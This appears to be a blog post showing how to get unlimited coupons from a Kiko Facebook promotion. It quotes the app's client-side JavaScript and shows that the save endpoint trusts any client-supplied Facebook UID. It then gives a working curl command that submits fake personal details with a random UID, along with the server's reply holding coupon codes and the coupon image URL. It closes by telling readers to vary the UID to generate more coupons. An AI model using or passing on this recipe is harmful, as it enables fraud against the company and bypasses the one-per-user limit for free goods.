Unlimited Kiko Coupon

A few weeks ago I saw a Facebook application that allows to get a coupon to receive a “free nail varnish”, it’s very simple and clear: Put a “like”, insert yours data and done, you will receive your coupon and your free nail varnish, but there is a limitation: You can take it only once…. maybe.

Just for fun (ok and for my girlfriend too) I studied how this application works and I ask to my self a simple question: Can I have more ?

This Facebook application is a simple redirect to the true application hosted by the “provider” (kiko in this case), this application through the Facebook’s API can see if the user is logged, etc. and when everything is done it returns an image with a barcode on it, like this:
kikoCoupon
The address of image is like this: http://www.fbappdev.com/kikoform/data/coupon/p_njkdndfjskf.jpg, let me see deeper aaand, bingo! I found the main page of the application, using firebug I can inspect the code behind it, seems very interesting…

FB.getLoginStatus(function(response) {
    //console.log('getLoginStatus');
    if (response.status === 'connected') {
      //Autorizzato e connesso
      fb_uid = response.authResponse.userID;
      fb_at = response.authResponse.accessToken;
      fbIsLogged=true;
      //console.log('sono registrato!');
      if(partecipaClicked==true)
        loadQuests(false);
      document.location.reload(true);
    } else if (response.status === 'not_authorized') {
      fbIsLogged=false;
      login();
    } else {
      // the user isn'tlogged in to Facebook.
      fbIsLogged=false;
      login();
    }
  });

So if I’m logged the application retrieves and saves my fb_uid and my fb_at otherwise I will redirect to login… very clear.

The UID means “User Identificator”, an univocal code to identify an user inside Facebook, the AT means “AccessToken” and it’s a random temporary code to use the Facebook’s API. For more information you can see the Facebook developers page1.

Looking in the code I saw a very interesting thing:

$('#step4').click(function() {
  if(slider==null) { slider = $('div#formslider').data('jslide') };
  //Qui invia la news letter?
  var check = false;
  check = checkDomanda(4);
  ////Manda i dati via Ajax al form PHP!
  var jsonParameters = creaJson();
  var screenH = $(window).height();
  var screenW = $(window).width();
  $('#wait').css({
    'top': '300px',
    'left':(screenW/2 - 125) + 'px'
  });
  $('#wait').fadeIn();
  $.ajax({
    url: "request.php?method=save",
    type: "POST",
    data: jsonParameters,
    dataType:'json',
    error : function (XHR, textStatus) {
    alert('[FAIL]Impossibile partecipare al Concorso, Riprova più tardi.');
    return;
  }
  ,
  success: function(data, textStatus, jqXHR) {
    $('#wait').fadeOut();
    //console.log('reponse');
    //console.log(data);
    if(typeof(data)==='undefined') {
      alert('[DATA]Impossibile partecipare al Concorso, Riprova più tardi.');
      return;
    }
    if(typeof(data.response)==='undefined') {
      alert('[RESPONSE]Impossibile partecipare al Concorso, Riprova più tardi.');
      return;
    }
    if((data.response)!='OK') {
      alert('[RESONSE-OK]Impossibile partecipare al Concorso, Riprova più tardi.');
      return;
    }
    if(typeof(data.code)==='undefined') {
      alert('[DOCE]Impossibile partecipare al Concorso, Riprova più tardi.');
      return;
    }
    var codiceInterno = data.code;
    $('#step_counter').removeClass('counter_step1');
    $('#step_counter').removeClass('counter_step2');
    $('#step_counter').removeClass('counter_step3');
    $('#step_counter').addClass('counter_step4');
    if(jsonParameters.js_invio=='email') {
      getCoupon(codiceInterno,'email');
    }
    if(jsonParameters.js_invio=='posta') {
      getCoupon(codiceInterno,'posta');
    }
    slider.slideTo(3);
    FBCanvasSize();
  }
  //[....]

The code sends data to a php page (request.php) using a simple ajax request passing as parameter method=save and the object jsonParameters created by creaJson() function.

If everything works fine, in the var codiceInterno we will have a code generated by the php page. The we pass it to the getCoupon function specifying which method we used to register our user (email or ordinary post) Before proceeding let’s have a look to the creaJson() function to understand how to make a valid json object:

function creaJson() {
  var datiJson = {};
  datiJson.js_nome = $('#nome').val();
  datiJson.js_cognome = $('#cognome').val();
  datiJson.js_email = $('#email').val();
  datiJson.js_nascita = $('#nascita_year').val() + "-" + $('#nascita_month').val() +"-" +$('#nascita_day').val() ;
  datiJson.js_privacy = $('#privacy').attr('checked');
  datiJson.js_privacy2 = $('#privacy2').attr('checked');
  datiJson.js_privacy3 = $('#privacy3').attr('checked');
  datiJson.js_newsletter = $('#newsletter').attr('checked');
  if(datiJson.js_privacy=='checked' || datiJson.js_privacy == true) datiJson.js_privacy = 1;
  if(datiJson.js_privacy2=='checked' || datiJson.js_privacy2 == true) datiJson.js_privacy2 = 1;
  if(datiJson.js_privacy3=='checked' || datiJson.js_privacy3 == true) datiJson.js_privacy3 = 1;
  if(datiJson.js_newsletter=='checked' || datiJson.js_newsletter == true) datiJson.js_newsletter = 1;
  //Domande:
  /* Vecchia versione con Checkbox
  datiJson.js_domanda1 = $('input[name=domanda1]:checked').val();
  datiJson.js_domanda2 = $('input[name=domanda2]:checked').val();
  datiJson.js_domanda3 = $('input[name=domanda3]:checked').val();
  */
  datiJson.js_domanda1 = $('#domanda1').val();
  datiJson.js_domanda2 = $('#domanda2').val();
  datiJson.js_domanda3 = $('#domanda3').val();
  datiJson.js_domanda4 = $('#domanda5').val();
  datiJson.js_invio = $('input[name=domanda4]:checked').val();
  datiJson.js_uid = fb_uid;
  datiJson.data = 'ok';
  return datiJson;
}

We have the field of the object sent to the page:

  • js_nome = name
  • js_cognome = surname
  • js_email = email
  • js_nascita = year-month-day
  • js_privacy = 1 if true
  • js_privacy2 = ↑
  • js_privacy3 = ↑
  • js_newsletter = ↑
  • js_invio = email or posta
  • js_uid = Facebook UID
  • data = ‘ok’

and there is a getCoupon() source:

function getCoupon(codice, mezzo) {
  var myV= $('#my_voucher');
  //Costruisci url...
  var url = siteAddress + 'data/coupon/'+(mezzo=='email'?'v_':'p_')+codice+'.jpg';
  myV.removeClass('print');
  myV.removeClass('online');
  myV.addClass( (mezzo=='email'?'online':'print') );
  $('#print_message').css('display','none');
  $('#web_site').css('display','none');
  $('#print_site').css('display','none');
  var calcoloAltezza = 1230;
  if(mezzo!='email') {
    calcoloAltezza = 990;
    if(url.indexOf('http://')>-1)
      url = url.replace('http://','//');
    if(url.indexOf('https://')>-1)
      url = url.replace('https://','//');
    myV.attr('src','img/tratteggio.png');
    myV.css('background-image', 'url("'+url+'")');
    myV.css('background-size', 'contain');
    $("#forbice").show();
    $('#print_message').css('display','block');
    $('#print_site').css('display','block');
    $('#infotext').html(getInfoText("print"));
  } else {
    calcoloAltezza = 990;
    myV.attr('src',url);
    $("#forbice").hide();
    $('#web_site').css('display','block');
    $('#infotext').html(getInfoText("email"));
  }
  $('#showcase_container').animate({height:calcoloAltezza},1050);
  $('#lastStep').animate({height:calcoloAltezza},1050);
  $('#print_voucher').unbind('click');
  $('#redraw_voucher').unbind('click');
  $('#print_voucher').click(function() {
    var windowObject = window.open('','windowObject','');
    windowObject.document.write('<html><head><title>Kiko cosmetics</title></head><body onload="javascript:window.print();"><p style="text-align:center;"><img src="'+url+'"/></p></body></html>');
    windowObject.document.close();
    w.focus();
  });
  $('#redraw_voucher').click(function(e) {
    e.preventDefault();
    rigeneraCoupon();
  });
  if(UtenteEsistente==false) {
    setTimeout(function() {
      FBCanvasSize_h(true,1400);
    },250);
    setTimeout(
    function() {
      $('#grazie').fadeIn();
      //console.log('mostro.');
    }
    ,4000);
  //setTimeout($('#grazie').fadeIn(),4500);
  }

var url = siteAddress + 'data/coupon/'+(mezzo=='email'?'v_':'p_')+codice+'.jpg'; so we found the final url of the image, amazing! Let’s continue to dig deeper:

function loadQuests(force) {
  //console.log('check quests:'+fb_uid + ", page: "+ kikoPage + 'my Token: ' + fb_at);
  //Verifica se l'utente ha già fatto il form...
  var screenH = $(window).height();
  var screenW = $(window).width();
  $('#wait').css({
    'top': '350px',
    'left':(screenW/2 - 125) + 'px'
  });
  $('#wait').fadeIn();
  $.ajax({
    url: "request.php?method=check",
    type: "POST",
    data: {'user_id':fb_uid,'data':'ok'},
    dataType:'json',
    error : function (XHR, textStatus) {
      $('#wait').fadeOut();
      loadQuestsInner(force);
      return;
    },
    success: function(data, textStatus, jqXHR) {
      $('#wait').fadeOut();
      //console.log('risposta');
      //console.log(data);
      if(typeof(data)==='undefined') {
        loadQuestsInner(force);
        return;
      }
      if(typeof(data.response)==='undefined') {
        loadQuestsInner(force);
        return;
      }
      if(typeof(data.code)==='undefined') {
        loadQuestsInner(force);
        return;
      }
      if((data.response)=='EXISTS' && data.code.length>0) {
        //Vari al pannello 4 ..con il coupon caricato!
        //console.log('codice esista...vado alla fine');
        UtenteEsistente = true;
        loadQuestsInner(force);
        var codiceInterno = data.code;
        partecipaClicked=true;
        $('#slider').show();
        $('#step_counter').removeClass('counter_step1');
        $('#step_counter').removeClass('counter_step2');
        $('#step_counter').removeClass('counter_step3');
        $('#step_counter').addClass('counter_step4');
        try {
          if(data.send=='email') {
            getCoupon(codiceInterno,'email');
          }
          if(data.send=='posta') {
            getCoupon(codiceInterno,'posta');
          }
        } catch (errore) { }
        var slider = null;
        if(slider==null) { slider = $('div#formslider').data('jslide') };
        slider.slideTo(3);
        FBCanvasSize();
        setTimeout(function() {
          $('#avvio_01').hide();
          $('#avvio_04').show();
        },1000);
        return;
      }
    }
  });

This function checks if a user has done a request in the past.

Using the curl we can automate these steps:

curl --data "js_nome=fakeName&\
            js_cognome=fakeSurname&\
            js_email=fake_email%40gmail.com&\
            js_nascita=1992-8-6&\
            js_privacy=1&\
            js_privacy2=1&\
            js_privacy3=1&\
            js_domanda1=verdi&\
            js_domanda2=biondi&\
            js_domanda3=normale&\
            js_domanda4=random_answer&\
            js_invio=posta&\
            js_uid=random_fuid&\
            data=ok"\
            "http://www.fbappdev.com/kikoform/request.php?method=save"

and as response we will receive something like this:

{
    "response":"OK",
    "method":"send",
    "error":"",
    "code":"ODMxZTQ1NDFhYjE2ZjBmOGJlNzE4YTcxNGU0NDNlYjEzNzQ1N2E5MA",
    "coupon":
    {
        "online":"35KO1MLNFAN",
        "sale":"4BFBCCCA83009"
    }
}

We did it! We found the code of the image so the url become: https://fbappdev.com/kikoform/data/coupon/p_ODMxZTQ1NDFhYjE2ZjBmOGJlNzE4YTcxNGU0NDNlYjEzNzQ1N2E5MA.jpg, that’s all!
To generate different coupons we have to change the fuid (even randomly) and everything will work fine too!